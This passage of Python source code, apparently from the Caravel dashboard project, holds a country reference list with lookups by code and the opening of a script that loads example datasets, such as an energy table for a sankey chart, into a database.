        "area": 36,
        "cioc": "",
        "cca2": "NF",
        "capital": "Kingston",
        "lat": -29.03333333,
        "lng": 167.95,
        "cca3": "NFK"
    },
    {
        "name": "Myanmar",
        "area": 676578,
        "cioc": "MYA",
        "cca2": "MM",
        "capital": "Naypyidaw",
        "lat": 22,
        "lng": 98,
        "cca3": "MMR"
    },
    {
        "name": "Afghanistan",
        "area": 652230,
        "cioc": "AFG",
        "cca2": "AF",
        "capital": "Kabul",
        "lat": 33,
        "lng": 65,
        "cca3": "AFG"
    },
    {
        "name": "Burundi",
        "area": 27834,
        "cioc": "BDI",
        "cca2": "BI",
        "capital": "Bujumbura",
        "lat": -3.5,
        "lng": 30,
        "cca3": "BDI"
    },
    {
        "name": "British Virgin Islands",
        "area": 151,
        "cioc": "IVB",
        "cca2": "VG",
        "capital": "Road Town",
        "lat": 18.431383,
        "lng": -64.62305,
        "cca3": "VGB"
    },
    {
        "name": "Belarus",
        "area": 207600,
        "cioc": "BLR",
        "cca2": "BY",
        "capital": "Minsk",
        "lat": 53,
        "lng": 28,
        "cca3": "BLR"
    },
    {
        "name": "Saint Barthelemy",
        "area": 21,
        "cioc": "",
        "cca2": "BL",
        "capital": "Gustavia",
        "lat": 18.5,
        "lng": -63.41666666,
        "cca3": "BLM"
    },
    {
        "name": "Grenada",
        "area": 344,
        "cioc": "GRN",
        "cca2": "GD",
        "capital": "St. George's",
        "lat": 12.11666666,
        "lng": -61.66666666,
        "cca3": "GRD"
    },
    {
        "name": "Tokelau",
        "area": 12,
        "cioc": "",
        "cca2": "TK",
        "capital": "Fakaofo",
        "lat": -9,
        "lng": -172,
        "cca3": "TKL"
    },
    {
        "name": "Greece",
        "area": 131990,
        "cioc": "GRE",
        "cca2": "GR",
        "capital": "Athens",
        "lat": 39,
        "lng": 22,
        "cca3": "GRC"
    },
    {
        "name": "Russia",
        "area": 17098242,
        "cioc": "RUS",
        "cca2": "RU",
        "capital": "Moscow",
        "lat": 60,
        "lng": 100,
        "cca3": "RUS"
    },
    {
        "name": "Greenland",
        "area": 2166086,
        "cioc": "",
        "cca2": "GL",
        "capital": "Nuuk",
        "lat": 72,
        "lng": -40,
        "cca3": "GRL"
    },
    {
        "name": "Andorra",
        "area": 468,
        "cioc": "AND",
        "cca2": "AD",
        "capital": "Andorra la Vella",
        "lat": 42.5,
        "lng": 1.5,
        "cca3": "AND"
    },
    {
        "name": "Mozambique",
        "area": 801590,
        "cioc": "MOZ",
        "cca2": "MZ",
        "capital": "Maputo",
        "lat": -18.25,
        "lng": 35,
        "cca3": "MOZ"
    },
    {
        "name": "Tajikistan",
        "area": 143100,
        "cioc": "TJK",
        "cca2": "TJ",
        "capital": "Dushanbe",
        "lat": 39,
        "lng": 71,
        "cca3": "TJK"
    },
    {
        "name": "Haiti",
        "area": 27750,
        "cioc": "HAI",
        "cca2": "HT",
        "capital": "Port-au-Prince",
        "lat": 19,
        "lng": -72.41666666,
        "cca3": "HTI"
    },
    {
        "name": "Mexico",
        "area": 1964375,
        "cioc": "MEX",
        "cca2": "MX",
        "capital": "Mexico City",
        "lat": 23,
        "lng": -102,
        "cca3": "MEX"
    },
    {
        "name": "Zimbabwe",
        "area": 390757,
        "cioc": "ZIM",
        "cca2": "ZW",
        "capital": "Harare",
        "lat": -20,
        "lng": 30,
        "cca3": "ZWE"
    },
    {
        "name": "Saint Lucia",
        "area": 616,
        "cioc": "LCA",
        "cca2": "LC",
        "capital": "Castries",
        "lat": 13.88333333,
        "lng": -60.96666666,
        "cca3": "LCA"
    },
    {
        "name": "India",
        "area": 3287590,
        "cioc": "IND",
        "cca2": "IN",
        "capital": "New Delhi",
        "lat": 20,
        "lng": 77,
        "cca3": "IND"
    },
    {
        "name": "Latvia",
        "area": 64559,
        "cioc": "LAT",
        "cca2": "LV",
        "capital": "Riga",
        "lat": 57,
        "lng": 25,
        "cca3": "LVA"
    },
    {
        "name": "Bhutan",
        "area": 38394,
        "cioc": "BHU",
        "cca2": "BT",
        "capital": "Thimphu",
        "lat": 27.5,
        "lng": 90.5,
        "cca3": "BTN"
    },
    {
        "name": "Saint Vincent and the Grenadines",
        "area": 389,
        "cioc": "VIN",
        "cca2": "VC",
        "capital": "Kingstown",
        "lat": 13.25,
        "lng": -61.2,
        "cca3": "VCT"
    },
    {
        "name": "Vietnam",
        "area": 331212,
        "cioc": "VIE",
        "cca2": "VN",
        "capital": "Hanoi",
        "lat": 16.16666666,
        "lng": 107.83333333,
        "cca3": "VNM"
    },
    {
        "name": "Norway",
        "area": 323802,
        "cioc": "NOR",
        "cca2": "NO",
        "capital": "Oslo",
        "lat": 62,
        "lng": 10,
        "cca3": "NOR"
    },
    {
        "name": "Czech Republic",
        "area": 78865,
        "cioc": "CZE",
        "cca2": "CZ",
        "capital": "Prague",
        "lat": 49.75,
        "lng": 15.5,
        "cca3": "CZE"
    },
    {
        "name": "French Southern and Antarctic Lands",
        "area": 7747,
        "cioc": "",
        "cca2": "TF",
        "capital": "Port-aux-Francais",
        "lat": -49.25,
        "lng": 69.167,
        "cca3": "ATF"
    },
    {
        "name": "Antigua and Barbuda",
        "area": 442,
        "cioc": "ANT",
        "cca2": "AG",
        "capital": "Saint John's",
        "lat": 17.05,
        "lng": -61.8,
        "cca3": "ATG"
    },
    {
        "name": "Fiji",
        "area": 18272,
        "cioc": "FIJ",
        "cca2": "FJ",
        "capital": "Suva",
        "lat": -18,
        "lng": 175,
        "cca3": "FJI"
    },
    {
        "name": "British Indian Ocean Territory",
        "area": 60,
        "cioc": "",
        "cca2": "IO",
        "capital": "Diego Garcia",
        "lat": -6,
        "lng": 71.5,
        "cca3": "IOT"
    },
    {
        "name": "Honduras",
        "area": 112492,
        "cioc": "HON",
        "cca2": "HN",
        "capital": "Tegucigalpa",
        "lat": 15,
        "lng": -86.5,
        "cca3": "HND"
    },
    {
        "name": "Mauritius",
        "area": 2040,
        "cioc": "MRI",
        "cca2": "MU",
        "capital": "Port Louis",
        "lat": -20.28333333,
        "lng": 57.55,
        "cca3": "MUS"
    },
    {
        "name": "Antarctica",
        "area": 14000000,
        "cioc": "",
        "cca2": "AQ",
        "capital": "",
        "lat": -90,
        "lng": 0,
        "cca3": "ATA"
    },
    {
        "name": "Luxembourg",
        "area": 2586,
        "cioc": "LUX",
        "cca2": "LU",
        "capital": "Luxembourg",
        "lat": 49.75,
        "lng": 6.16666666,
        "cca3": "LUX"
    },
    {
        "name": "Israel",
        "area": 20770,
        "cioc": "ISR",
        "cca2": "IL",
        "capital": "Jerusalem",
        "lat": 31.47,
        "lng": 35.13,
        "cca3": "ISR"
    },
    {
        "name": "Micronesia",
        "area": 702,
        "cioc": "FSM",
        "cca2": "FM",
        "capital": "Palikir",
        "lat": 6.91666666,
        "lng": 158.25,
        "cca3": "FSM"
    },
    {
        "name": "Peru",
        "area": 1285216,
        "cioc": "PER",
        "cca2": "PE",
        "capital": "Lima",
        "lat": -10,
        "lng": -76,
        "cca3": "PER"
    },
    {
        "name": "Reunion",
        "area": 2511,
        "cioc": "",
        "cca2": "RE",
        "capital": "Saint-Denis",
        "lat": -21.15,
        "lng": 55.5,
        "cca3": "REU"
    },
    {
        "name": "Indonesia",
        "area": 1904569,
        "cioc": "INA",
        "cca2": "ID",
        "capital": "Jakarta",
        "lat": -5,
        "lng": 120,
        "cca3": "IDN"
    },
    {
        "name": "Vanuatu",
        "area": 12189,
        "cioc": "VAN",
        "cca2": "VU",
        "capital": "Port Vila",
        "lat": -16,
        "lng": 167,
        "cca3": "VUT"
    },
    {
        "name": "Macedonia",
        "area": 25713,
        "cioc": "MKD",
        "cca2": "MK",
        "capital": "Skopje",
        "lat": 41.83333333,
        "lng": 22,
        "cca3": "MKD"
    },
    {
        "name": "DR Congo",
        "area": 2344858,
        "cioc": "COD",
        "cca2": "CD",
        "capital": "Kinshasa",
        "lat": 0,
        "lng": 25,
        "cca3": "COD"
    },
    {
        "name": "Republic of the Congo",
        "area": 342000,
        "cioc": "CGO",
        "cca2": "CG",
        "capital": "Brazzaville",
        "lat": -1,
        "lng": 15,
        "cca3": "COG"
    },
    {
        "name": "Iceland",
        "area": 103000,
        "cioc": "ISL",
        "cca2": "IS",
        "capital": "Reykjavik",
        "lat": 65,
        "lng": -18,
        "cca3": "ISL"
    },
    {
        "name": "Guadeloupe",
        "area": 1628,
        "cioc": "",
        "cca2": "GP",
        "capital": "Basse-Terre",
        "lat": 16.25,
        "lng": -61.583333,
        "cca3": "GLP"
    },
    {
        "name": "Cook Islands",
        "area": 236,
        "cioc": "COK",
        "cca2": "CK",
        "capital": "Avarua",
        "lat": -21.23333333,
        "lng": -159.76666666,
        "cca3": "COK"
    },
    {
        "name": "Comoros",
        "area": 1862,
        "cioc": "COM",
        "cca2": "KM",
        "capital": "Moroni",
        "lat": -12.16666666,
        "lng": 44.25,
        "cca3": "COM"
    },
    {
        "name": "Colombia",
        "area": 1141748,
        "cioc": "COL",
        "cca2": "CO",
        "capital": "Bogota",
        "lat": 4,
        "lng": -72,
        "cca3": "COL"
    },
    {
        "name": "Nigeria",
        "area": 923768,
        "cioc": "NGR",
        "cca2": "NG",
        "capital": "Abuja",
        "lat": 10,
        "lng": 8,
        "cca3": "NGA"
    },
    {
        "name": "Timor-Leste",
        "area": 14874,
        "cioc": "TLS",
        "cca2": "TL",
        "capital": "Dili",
        "lat": -8.83333333,
        "lng": 125.91666666,
        "cca3": "TLS"
    },
    {
        "name": "Taiwan",
        "area": 36193,
        "cioc": "TPE",
        "cca2": "TW",
        "capital": "Taipei",
        "lat": 23.5,
        "lng": 121,
        "cca3": "TWN"
    },
    {
        "name": "Portugal",
        "area": 92090,
        "cioc": "POR",
        "cca2": "PT",
        "capital": "Lisbon",
        "lat": 39.5,
        "lng": -8,
        "cca3": "PRT"
    },
    {
        "name": "Moldova",
        "area": 33846,
        "cioc": "MDA",
        "cca2": "MD",
        "capital": "Chisinau",
        "lat": 47,
        "lng": 29,
        "cca3": "MDA"
    },
    {
        "name": "Guernsey",
        "area": 78,
        "cioc": "",
        "cca2": "GG",
        "capital": "St. Peter Port",
        "lat": 49.46666666,
        "lng": -2.58333333,
        "cca3": "GGY"
    },
    {
        "name": "Madagascar",
        "area": 587041,
        "cioc": "MAD",
        "cca2": "MG",
        "capital": "Antananarivo",
        "lat": -20,
        "lng": 47,
        "cca3": "MDG"
    },
    {
        "name": "Ecuador",
        "area": 276841,
        "cioc": "ECU",
        "cca2": "EC",
        "capital": "Quito",
        "lat": -2,
        "lng": -77.5,
        "cca3": "ECU"
    },
    {
        "name": "Senegal",
        "area": 196722,
        "cioc": "SEN",
        "cca2": "SN",
        "capital": "Dakar",
        "lat": 14,
        "lng": -14,
        "cca3": "SEN"
    },
    {
        "name": "New Zealand",
        "area": 270467,
        "cioc": "NZL",
        "cca2": "NZ",
        "capital": "Wellington",
        "lat": -41,
        "lng": 174,
        "cca3": "NZL"
    },
    {
        "name": "Maldives",
        "area": 300,
        "cioc": "MDV",
        "cca2": "MV",
        "capital": "Male",
        "lat": 3.25,
        "lng": 73,
        "cca3": "MDV"
    },
    {
        "name": "American Samoa",
        "area": 199,
        "cioc": "ASA",
        "cca2": "AS",
        "capital": "Pago Pago",
        "lat": -14.33333333,
        "lng": -170,
        "cca3": "ASM"
    },
    {
        "name": "Saint Pierre and Miquelon",
        "area": 242,
        "cioc": "",
        "cca2": "PM",
        "capital": "Saint-Pierre",
        "lat": 46.83333333,
        "lng": -56.33333333,
        "cca3": "SPM"
    },
    {
        "name": "Curacao",
        "area": 444,
        "cioc": "",
        "cca2": "CW",
        "capital": "Willemstad",
        "lat": 12.116667,
        "lng": -68.933333,
        "cca3": "CUW"
    },
    {
        "name": "France",
        "area": 551695,
        "cioc": "FRA",
        "cca2": "FR",
        "capital": "Paris",
        "lat": 46,
        "lng": 2,
        "cca3": "FRA"
    },
    {
        "name": "Lithuania",
        "area": 65300,
        "cioc": "LTU",
        "cca2": "LT",
        "capital": "Vilnius",
        "lat": 56,
        "lng": 24,
        "cca3": "LTU"
    },
    {
        "name": "Rwanda",
        "area": 26338,
        "cioc": "RWA",
        "cca2": "RW",
        "capital": "Kigali",
        "lat": -2,
        "lng": 30,
        "cca3": "RWA"
    },
    {
        "name": "Zambia",
        "area": 752612,
        "cioc": "ZAM",
        "cca2": "ZM",
        "capital": "Lusaka",
        "lat": -15,
        "lng": 30,
        "cca3": "ZMB"
    },
    {
        "name": "Gambia",
        "area": 10689,
        "cioc": "GAM",
        "cca2": "GM",
        "capital": "Banjul",
        "lat": 13.46666666,
        "lng": -16.56666666,
        "cca3": "GMB"
    },
    {
        "name": "Wallis and Futuna",
        "area": 142,
        "cioc": "",
        "cca2": "WF",
        "capital": "Mata-Utu",
        "lat": -13.3,
        "lng": -176.2,
        "cca3": "WLF"
    },
    {
        "name": "Jersey",
        "area": 116,
        "cioc": "",
        "cca2": "JE",
        "capital": "Saint Helier",
        "lat": 49.25,
        "lng": -2.16666666,
        "cca3": "JEY"
    },
    {
        "name": "Faroe Islands",
        "area": 1393,
        "cioc": "",
        "cca2": "FO",
        "capital": "Torshavn",
        "lat": 62,
        "lng": -7,
        "cca3": "FRO"
    },
    {
        "name": "Guatemala",
        "area": 108889,
        "cioc": "GUA",
        "cca2": "GT",
        "capital": "Guatemala City",
        "lat": 15.5,
        "lng": -90.25,
        "cca3": "GTM"
    },
    {
        "name": "Denmark",
        "area": 43094,
        "cioc": "DEN",
        "cca2": "DK",
        "capital": "Copenhagen",
        "lat": 56,
        "lng": 10,
        "cca3": "DNK"
    },
    {
        "name": "Isle of Man",
        "area": 572,
        "cioc": "",
        "cca2": "IM",
        "capital": "Douglas",
        "lat": 54.25,
        "lng": -4.5,
        "cca3": "IMN"
    },
    {
        "name": "Australia",
        "area": 7692024,
        "cioc": "AUS",
        "cca2": "AU",
        "capital": "Canberra",
        "lat": -27,
        "lng": 133,
        "cca3": "AUS"
    },
    {
        "name": "Austria",
        "area": 83871,
        "cioc": "AUT",
        "cca2": "AT",
        "capital": "Vienna",
        "lat": 47.33333333,
        "lng": 13.33333333,
        "cca3": "AUT"
    },
    {
        "name": "Svalbard and Jan Mayen",
        "area": -1,
        "cioc": "",
        "cca2": "SJ",
        "capital": "Longyearbyen",
        "lat": 78,
        "lng": 20,
        "cca3": "SJM"
    },
    {
        "name": "Venezuela",
        "area": 916445,
        "cioc": "VEN",
        "cca2": "VE",
        "capital": "Caracas",
        "lat": 8,
        "lng": -66,
        "cca3": "VEN"
    },
    {
        "name": "Kosovo",
        "area": 10908,
        "cioc": "KOS",
        "cca2": "XK",
        "capital": "Pristina",
        "lat": 42.666667,
        "lng": 21.166667,
        "cca3": "UNK"
    },
    {
        "name": "Palau",
        "area": 459,
        "cioc": "PLW",
        "cca2": "PW",
        "capital": "Ngerulmud",
        "lat": 7.5,
        "lng": 134.5,
        "cca3": "PLW"
    },
    {
        "name": "Kenya",
        "area": 580367,
        "cioc": "KEN",
        "cca2": "KE",
        "capital": "Nairobi",
        "lat": 1,
        "lng": 38,
        "cca3": "KEN"
    },
    {
        "name": "Samoa",
        "area": 2842,
        "cioc": "SAM",
        "cca2": "WS",
        "capital": "Apia",
        "lat": -13.58333333,
        "lng": -172.33333333,
        "cca3": "WSM"
    },
    {
        "name": "Turkey",
        "area": 783562,
        "cioc": "TUR",
        "cca2": "TR",
        "capital": "Ankara",
        "lat": 39,
        "lng": 35,
        "cca3": "TUR"
    },
    {
        "name": "Albania",
        "area": 28748,
        "cioc": "ALB",
        "cca2": "AL",
        "capital": "Tirana",
        "lat": 41,
        "lng": 20,
        "cca3": "ALB"
    },
    {
        "name": "Oman",
        "area": 309500,
        "cioc": "OMA",
        "cca2": "OM",
        "capital": "Muscat",
        "lat": 21,
        "lng": 57,
        "cca3": "OMN"
    },
    {
        "name": "Tuvalu",
        "area": 26,
        "cioc": "TUV",
        "cca2": "TV",
        "capital": "Funafuti",
        "lat": -8,
        "lng": 178,
        "cca3": "TUV"
    },
    {
        "name": "Aland Islands",
        "area": 1580,
        "cioc": "",
        "cca2": "AX",
        "capital": "Mariehamn",
        "lat": 60.116667,
        "lng": 19.9,
        "cca3": "ALA"
    },
    {
        "name": "Brunei",
        "area": 5765,
        "cioc": "BRU",
        "cca2": "BN",
        "capital": "Bandar Seri Begawan",
        "lat": 4.5,
        "lng": 114.66666666,
        "cca3": "BRN"
    },
    {
        "name": "Tunisia",
        "area": 163610,
        "cioc": "TUN",
        "cca2": "TN",
        "capital": "Tunis",
        "lat": 34,
        "lng": 9,
        "cca3": "TUN"
    },
    {
        "name": "Pitcairn Islands",
        "area": 47,
        "cioc": "",
        "cca2": "PN",
        "capital": "Adamstown",
        "lat": -25.06666666,
        "lng": -130.1,
        "cca3": "PCN"
    },
    {
        "name": "Barbados",
        "area": 430,
        "cioc": "BAR",
        "cca2": "BB",
        "capital": "Bridgetown",
        "lat": 13.16666666,
        "lng": -59.53333333,
        "cca3": "BRB"
    },
    {
        "name": "Brazil",
        "area": 8515767,
        "cioc": "BRA",
        "cca2": "BR",
        "capital": "Brasilia",
        "lat": -10,
        "lng": -55,
        "cca3": "BRA"
    },
    {
        "name": "Ivory Coast",
        "area": 322463,
        "cioc": "CIV",
        "cca2": "CI",
        "capital": "Yamoussoukro",
        "lat": 8,
        "lng": -5,
        "cca3": "CIV"
    },
    {
        "name": "Serbia",
        "area": 88361,
        "cioc": "SRB",
        "cca2": "RS",
        "capital": "Belgrade",
        "lat": 44,
        "lng": 21,
        "cca3": "SRB"
    },
    {
        "name": "Equatorial Guinea",
        "area": 28051,
        "cioc": "GEQ",
        "cca2": "GQ",
        "capital": "Malabo",
        "lat": 2,
        "lng": 10,
        "cca3": "GNQ"
    },
    {
        "name": "United States",
        "area": 9372610,
        "cioc": "USA",
        "cca2": "US",
        "capital": "Washington D.C.",
        "lat": 38,
        "lng": -97,
        "cca3": "USA"
    },
    {
        "name": "Qatar",
        "area": 11586,
        "cioc": "QAT",
        "cca2": "QA",
        "capital": "Doha",
        "lat": 25.5,
        "lng": 51.25,
        "cca3": "QAT"
    },
    {
        "name": "Sweden",
        "area": 450295,
        "cioc": "SWE",
        "cca2": "SE",
        "capital": "Stockholm",
        "lat": 62,
        "lng": 15,
        "cca3": "SWE"
    },
    {
        "name": "Azerbaijan",
        "area": 86600,
        "cioc": "AZE",
        "cca2": "AZ",
        "capital": "Baku",
        "lat": 40.5,
        "lng": 47.5,
        "cca3": "AZE"
    },
    {
        "name": "Guinea-Bissau",
        "area": 36125,
        "cioc": "GBS",
        "cca2": "GW",
        "capital": "Bissau",
        "lat": 12,
        "lng": -15,
        "cca3": "GNB"
    },
    {
        "name": "Swaziland",
        "area": 17364,
        "cioc": "SWZ",
        "cca2": "SZ",
        "capital": "Lobamba",
        "lat": -26.5,
        "lng": 31.5,
        "cca3": "SWZ"
    },
    {
        "name": "Tonga",
        "area": 747,
        "cioc": "TGA",
        "cca2": "TO",
        "capital": "Nuku'alofa",
        "lat": -20,
        "lng": -175,
        "cca3": "TON"
    },
    {
        "name": "Canada",
        "area": 9984670,
        "cioc": "CAN",
        "cca2": "CA",
        "capital": "Ottawa",
        "lat": 60,
        "lng": -95,
        "cca3": "CAN"
    },
    {
        "name": "Ukraine",
        "area": 603500,
        "cioc": "UKR",
        "cca2": "UA",
        "capital": "Kiev",
        "lat": 49,
        "lng": 32,
        "cca3": "UKR"
    },
    {
        "name": "South Korea",
        "area": 100210,
        "cioc": "KOR",
        "cca2": "KR",
        "capital": "Seoul",
        "lat": 37,
        "lng": 127.5,
        "cca3": "KOR"
    },
    {
        "name": "Anguilla",
        "area": 91,
        "cioc": "",
        "cca2": "AI",
        "capital": "The Valley",
        "lat": 18.25,
        "lng": -63.16666666,
        "cca3": "AIA"
    },
    {
        "name": "Central African Republic",
        "area": 622984,
        "cioc": "CAF",
        "cca2": "CF",
        "capital": "Bangui",
        "lat": 7,
        "lng": 21,
        "cca3": "CAF"
    },
    {
        "name": "Slovakia",
        "area": 49037,
        "cioc": "SVK",
        "cca2": "SK",
        "capital": "Bratislava",
        "lat": 48.66666666,
        "lng": 19.5,
        "cca3": "SVK"
    },
    {
        "name": "Cyprus",
        "area": 9251,
        "cioc": "CYP",
        "cca2": "CY",
        "capital": "Nicosia",
        "lat": 35,
        "lng": 33,
        "cca3": "CYP"
    },
    {
        "name": "Bosnia and Herzegovina",
        "area": 51209,
        "cioc": "BIH",
        "cca2": "BA",
        "capital": "Sarajevo",
        "lat": 44,
        "lng": 18,
        "cca3": "BIH"
    },
    {
        "name": "Singapore",
        "area": 710,
        "cioc": "SIN",
        "cca2": "SG",
        "capital": "Singapore",
        "lat": 1.36666666,
        "lng": 103.8,
        "cca3": "SGP"
    },
    {
        "name": "South Georgia",
        "area": 3903,
        "cioc": "",
        "cca2": "GS",
        "capital": "King Edward Point",
        "lat": -54.5,
        "lng": -37,
        "cca3": "SGS"
    },
    {
        "name": "Somalia",
        "area": 637657,
        "cioc": "SOM",
        "cca2": "SO",
        "capital": "Mogadishu",
        "lat": 10,
        "lng": 49,
        "cca3": "SOM"
    },
    {
        "name": "Uzbekistan",
        "area": 447400,
        "cioc": "UZB",
        "cca2": "UZ",
        "capital": "Tashkent",
        "lat": 41,
        "lng": 64,
        "cca3": "UZB"
    },
    {
        "name": "Eritrea",
        "area": 117600,
        "cioc": "ERI",
        "cca2": "ER",
        "capital": "Asmara",
        "lat": 15,
        "lng": 39,
        "cca3": "ERI"
    },
    {
        "name": "Poland",
        "area": 312679,
        "cioc": "POL",
        "cca2": "PL",
        "capital": "Warsaw",
        "lat": 52,
        "lng": 20,
        "cca3": "POL"
    },
    {
        "name": "Kuwait",
        "area": 17818,
        "cioc": "KUW",
        "cca2": "KW",
        "capital": "Kuwait City",
        "lat": 29.5,
        "lng": 45.75,
        "cca3": "KWT"
    },
    {
        "name": "Gabon",
        "area": 267668,
        "cioc": "GAB",
        "cca2": "GA",
        "capital": "Libreville",
        "lat": -1,
        "lng": 11.75,
        "cca3": "GAB"
    },
    {
        "name": "Cayman Islands",
        "area": 264,
        "cioc": "CAY",
        "cca2": "KY",
        "capital": "George Town",
        "lat": 19.5,
        "lng": -80.5,
        "cca3": "CYM"
    },
    {
        "name": "Vatican City",
        "area": 0.44,
        "cioc": "",
        "cca2": "VA",
        "capital": "Vatican City",
        "lat": 41.9,
        "lng": 12.45,
        "cca3": "VAT"
    },
    {
        "name": "Estonia",
        "area": 45227,
        "cioc": "EST",
        "cca2": "EE",
        "capital": "Tallinn",
        "lat": 59,
        "lng": 26,
        "cca3": "EST"
    },
    {
        "name": "Malawi",
        "area": 118484,
        "cioc": "MAW",
        "cca2": "MW",
        "capital": "Lilongwe",
        "lat": -13.5,
        "lng": 34,
        "cca3": "MWI"
    },
    {
        "name": "Spain",
        "area": 505992,
        "cioc": "ESP",
        "cca2": "ES",
        "capital": "Madrid",
        "lat": 40,
        "lng": -4,
        "cca3": "ESP"
    },
    {
        "name": "Iraq",
        "area": 438317,
        "cioc": "IRQ",
        "cca2": "IQ",
        "capital": "Baghdad",
        "lat": 33,
        "lng": 44,
        "cca3": "IRQ"
    },
    {
        "name": "El Salvador",
        "area": 21041,
        "cioc": "ESA",
        "cca2": "SV",
        "capital": "San Salvador",
        "lat": 13.83333333,
        "lng": -88.91666666,
        "cca3": "SLV"
    },
    {
        "name": "Mali",
        "area": 1240192,
        "cioc": "MLI",
        "cca2": "ML",
        "capital": "Bamako",
        "lat": 17,
        "lng": -4,
        "cca3": "MLI"
    },
    {
        "name": "Ireland",
        "area": 70273,
        "cioc": "IRL",
        "cca2": "IE",
        "capital": "Dublin",
        "lat": 53,
        "lng": -8,
        "cca3": "IRL"
    },
    {
        "name": "Iran",
        "area": 1648195,
        "cioc": "IRI",
        "cca2": "IR",
        "capital": "Tehran",
        "lat": 32,
        "lng": 53,
        "cca3": "IRN"
    },
    {
        "name": "Aruba",
        "area": 180,
        "cioc": "ARU",
        "cca2": "AW",
        "capital": "Oranjestad",
        "lat": 12.5,
        "lng": -69.96666666,
        "cca3": "ABW"
    },
    {
        "name": "Papua New Guinea",
        "area": 462840,
        "cioc": "PNG",
        "cca2": "PG",
        "capital": "Port Moresby",
        "lat": -6,
        "lng": 147,
        "cca3": "PNG"
    },
    {
        "name": "Panama",
        "area": 75417,
        "cioc": "PAN",
        "cca2": "PA",
        "capital": "Panama City",
        "lat": 9,
        "lng": -80,
        "cca3": "PAN"
    },
    {
        "name": "Sudan",
        "area": 1886068,
        "cioc": "SUD",
        "cca2": "SD",
        "capital": "Khartoum",
        "lat": 15,
        "lng": 30,
        "cca3": "SDN"
    },
    {
        "name": "Solomon Islands",
        "area": 28896,
        "cioc": "SOL",
        "cca2": "SB",
        "capital": "Honiara",
        "lat": -8,
        "lng": 159,
        "cca3": "SLB"
    },
    {
        "name": "Western Sahara",
        "area": 266000,
        "cioc": "",
        "cca2": "EH",
        "capital": "El Aaiun",
        "lat": 24.5,
        "lng": -13,
        "cca3": "ESH"
    },
    {
        "name": "Monaco",
        "area": 2.02,
        "cioc": "MON",
        "cca2": "MC",
        "capital": "Monaco",
        "lat": 43.73333333,
        "lng": 7.4,
        "cca3": "MCO"
    },
    {
        "name": "Italy",
        "area": 301336,
        "cioc": "ITA",
        "cca2": "IT",
        "capital": "Rome",
        "lat": 42.83333333,
        "lng": 12.83333333,
        "cca3": "ITA"
    },
    {
        "name": "Japan",
        "area": 377930,
        "cioc": "JPN",
        "cca2": "JP",
        "capital": "Tokyo",
        "lat": 36,
        "lng": 138,
        "cca3": "JPN"
    },
    {
        "name": "Kyrgyzstan",
        "area": 199951,
        "cioc": "KGZ",
        "cca2": "KG",
        "capital": "Bishkek",
        "lat": 41,
        "lng": 75,
        "cca3": "KGZ"
    },
    {
        "name": "Uganda",
        "area": 241550,
        "cioc": "UGA",
        "cca2": "UG",
        "capital": "Kampala",
        "lat": 1,
        "lng": 32,
        "cca3": "UGA"
    },
    {
        "name": "New Caledonia",
        "area": 18575,
        "cioc": "",
        "cca2": "NC",
        "capital": "Noumea",
        "lat": -21.5,
        "lng": 165.5,
        "cca3": "NCL"
    },
    {
        "name": "United Arab Emirates",
        "area": 83600,
        "cioc": "UAE",
        "cca2": "AE",
        "capital": "Abu Dhabi",
        "lat": 24,
        "lng": 54,
        "cca3": "ARE"
    },
    {
        "name": "Argentina",
        "area": 2780400,
        "cioc": "ARG",
        "cca2": "AR",
        "capital": "Buenos Aires",
        "lat": -34,
        "lng": -64,
        "cca3": "ARG"
    },
    {
        "name": "Bahamas",
        "area": 13943,
        "cioc": "BAH",
        "cca2": "BS",
        "capital": "Nassau",
        "lat": 24.25,
        "lng": -76,
        "cca3": "BHS"
    },
    {
        "name": "Bahrain",
        "area": 765,
        "cioc": "BRN",
        "cca2": "BH",
        "capital": "Manama",
        "lat": 26,
        "lng": 50.55,
        "cca3": "BHR"
    },
    {
        "name": "Armenia",
        "area": 29743,
        "cioc": "ARM",
        "cca2": "AM",
        "capital": "Yerevan",
        "lat": 40,
        "lng": 45,
        "cca3": "ARM"
    },
    {
        "name": "Nauru",
        "area": 21,
        "cioc": "NRU",
        "cca2": "NR",
        "capital": "Yaren",
        "lat": -0.53333333,
        "lng": 166.91666666,
        "cca3": "NRU"
    },
    {
        "name": "Cuba",
        "area": 109884,
        "cioc": "CUB",
        "cca2": "CU",
        "capital": "Havana",
        "lat": 21.5,
        "lng": -80,
        "cca3": "CUB"
    }
]

all_lookups = {}
lookups = ['cioc', 'cca2', 'cca3', 'name']
for lookup in lookups:
    all_lookups[lookup] = {}
    for country in countries:
        all_lookups[lookup][country[lookup].lower()] = country


def get(field, symbol):
    """
    Get country data based on a standard code and a symbol

    >>> get('cioc', 'CUB')['name']
    "Cuba"
    >>> get('cca2', 'CA')['name']
    "Canada"
    """
    return all_lookups[field].get(symbol.lower())






"""Loads datasets, dashboards and slices in a new caravel instance"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import gzip
import json
import os
import textwrap
import datetime
import random

import pandas as pd
from sqlalchemy import String, DateTime, Date, Float, BigInteger

from caravel import app, db, models, utils

# Shortcuts
DB = models.Database
Slice = models.Slice
TBL = models.SqlaTable
Dash = models.Dashboard

config = app.config

DATA_FOLDER = os.path.join(config.get("BASE_DIR"), 'data')


def get_or_create_db(session):
    print("Creating database reference")
    dbobj = session.query(DB).filter_by(database_name='main').first()
    if not dbobj:
        dbobj = DB(database_name="main")
    print(config.get("SQLALCHEMY_DATABASE_URI"))
    dbobj.sqlalchemy_uri = config.get("SQLALCHEMY_DATABASE_URI")
    session.add(dbobj)
    session.commit()
    return dbobj


def merge_slice(slc):
    o = db.session.query(Slice).filter_by(slice_name=slc.slice_name).first()
    if o:
        db.session.delete(o)
    db.session.add(slc)
    db.session.commit()


def get_slice_json(defaults, **kwargs):
    d = defaults.copy()
    d.update(kwargs)
    return json.dumps(d, indent=4, sort_keys=True)


def load_energy():
    """Loads an energy related dataset to use with sankey and graphs"""
    tbl_name = 'energy_usage'
    with gzip.open(os.path.join(DATA_FOLDER, 'energy.json.gz')) as f:
        pdf = pd.read_json(f)
    pdf.to_sql(
        tbl_name,
        db.engine,
        if_exists='replace',
        chunksize=500,
        dtype={
            'source': String(255),
            'target': String(255),
            'value': Float(),
        },
        index=False)

    print("Creating table [wb_health_population] reference")
    tbl = db.session.query(TBL).filter_by(table_name=tbl_name).first()
    if not tbl:
        tbl = TBL(table_name=tbl_name)
    tbl.description = "Energy consumption"
    tbl.is_featured = True
    tbl.database = get_or_create_db(db.session)
    db.session.merge(tbl)
    db.session.commit()
    tbl.fetch_metadata()

    merge_slice(
        Slice(
            slice_name="Energy Sankey",
            viz_type='sankey',
            datasource_type='table',
            table=tbl,
